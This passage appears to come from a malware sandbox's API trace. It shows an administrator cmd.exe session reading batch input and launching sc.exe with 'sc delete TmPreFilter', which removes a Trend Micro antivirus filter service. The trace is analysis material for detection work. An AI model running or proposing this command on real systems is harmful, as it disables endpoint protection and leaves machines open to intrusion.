| out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="tvice\n4-9.4\"\n\nA\"\n") returned 1 [0073.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="eice\n4-9.4\"\n\nA\"\n") returned 1 [0073.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="rce\n4-9.4\"\n\nA\"\n") returned 1 [0073.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.475] GetFileType (hFile=0xb8) returned 0x3 [0073.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.475] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.475] GetFileType (hFile=0x120) returned 0x3 [0073.475] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmPreFilter\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmPreFilter\n", lpUsedDefaultChar=0x0) returned 23 [0073.476] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x16, lpOverlapped=0x0) returned 1 [0073.476] GetProcessHeap () returned 0x4a0000 [0073.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.476] GetProcessHeap () returned 0x4a0000 [0073.476] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.476] GetProcessHeap () returned 0x4a0000 [0073.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.476] GetProcessHeap () returned 0x4a0000 [0073.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.476] GetProcessHeap () returned 0x4a0000 [0073.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6510 [0073.476] GetConsoleOutputCP () returned 0x1b5 [0073.476] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.476] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.477] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0073.477] SetErrorMode (uMode=0x0) returned 0x1 [0073.477] SetErrorMode (uMode=0x1) returned 0x0 [0073.477] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.477] SetErrorMode (uMode=0x1) returned 0x1 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0073.477] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.477] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.477] GetProcessHeap () returned 0x4a0000 [0073.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.478] GetProcessHeap () returned 0x4a0000 [0073.478] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.478] GetProcessHeap () returned 0x4a0000 [0073.478] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.478] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.478] GetProcessHeap () returned 0x4a0000 [0073.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.478] GetProcessHeap () returned 0x4a0000 [0073.478] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.478] GetProcessHeap () returned 0x4a0000 [0073.478] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.478] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.478] GetLastError () returned 0x2 [0073.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.478] GetLastError () returned 0x2 [0073.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.479] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.479] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.479] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.479] GetLastError () returned 0x2 [0073.479] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.479] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.479] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.479] GetProcessHeap () returned 0x4a0000 [0073.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.480] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.480] GetProcessHeap () returned 0x4a0000 [0073.480] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa4) returned 0x4b9180 [0073.480] GetProcessHeap () returned 0x4a0000 [0073.480] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa4 [0073.480] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmPreFilter") returned 1 [0073.480] GetProcessHeap () returned 0x4a0000 [0073.480] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.480] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.481] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.481] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.481] GetProcessHeap () returned 0x4a0000 [0073.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.481] GetProcessHeap () returned 0x4a0000 [0073.481] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.481] GetProcessHeap () returned 0x4a0000 [0073.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.481] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmPreFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmPreFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TmPreFilter", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x620, dwThreadId=0x208)) returned 1 [0073.485] CloseHandle (hObject=0x54) returned 1 [0073.485] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.485] GetProcessHeap () returned 0x4a0000 [0073.485] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.485] GetEnvironmentStringsW () returned 0x4bba10* [0073.485] GetProcessHeap () returned 0x4a0000 [0073.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.485] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.485] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.486] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.486] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.536] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.536] CloseHandle (hObject=0x50) returned 1 [0073.536] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.536] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.536] GetProcessHeap () returned 0x4a0000 [0073.536] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.536] GetEnvironmentStringsW () returned 0x4c1b10* [0073.536] GetProcessHeap () returned 0x4a0000 [0073.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.536] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.536] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.536] GetProcessHeap () returned 0x4a0000 [0073.536] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.536] GetEnvironmentStringsW () returned 0x4bba10* [0073.536] GetProcessHeap () returned 0x4a0000 [0073.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0073.536] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0073.536] GetProcessHeap () returned 0x4a0000 [0073.536] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.536] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.536] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.537] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.537] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.537] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.537] GetConsoleOutputCP () returned 0x1b5 [0073.537] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.537] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.538] GetProcessHeap () returned 0x4a0000 [0073.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.538] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.538] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.538] GetFileType (hFile=0x120) returned 0x3 [0073.538] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.538] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.538] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.539] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.539] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.539] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.539] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.539] GetFileType (hFile=0x120) returned 0x3 [0073.539] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.539] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.539] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.539] GetFileType (hFile=0xb8) returned 0x3 [0073.539] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.539] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.539] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.539] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.539] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.539] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.539] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.539] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.539] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.539] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.539] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.539] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, 